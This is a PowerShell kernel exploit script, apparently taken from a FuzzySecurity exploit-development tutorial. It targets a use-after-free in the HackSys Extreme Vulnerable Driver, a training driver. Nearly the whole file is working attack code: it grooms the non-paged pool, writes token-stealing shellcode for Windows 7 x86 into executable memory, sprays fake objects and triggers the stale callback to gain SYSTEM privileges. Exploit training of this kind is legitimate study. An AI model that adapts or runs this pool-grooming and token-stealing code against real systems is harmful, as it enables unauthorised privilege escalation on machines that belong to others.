Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateReserveObject(
ref IntPtr hObject,
UInt32 ObjectAttributes,
UInt32 ObjectType);
}
"@
function IoCo-PoolSpray {
echo "[+] Derandomizing NonPagedPool.."
$Spray = @()
for ($i=0;$i -lt 10000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray1 += $Spray
echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray2 += $Spray
echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
echo "[+] Creating non-paged pool holes.."
for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
$CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
if ($CallResult -ne 0) {
$FreeCount += 1
}
}
echo "[+] Free'd $FreeCount IoCo objects!"
}
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0xC3 # ret
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
# Fake Object al********
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
Source: https://www.fuzzysecurity.com/tutorials/expDev/19.html
Translator: @expensivepoor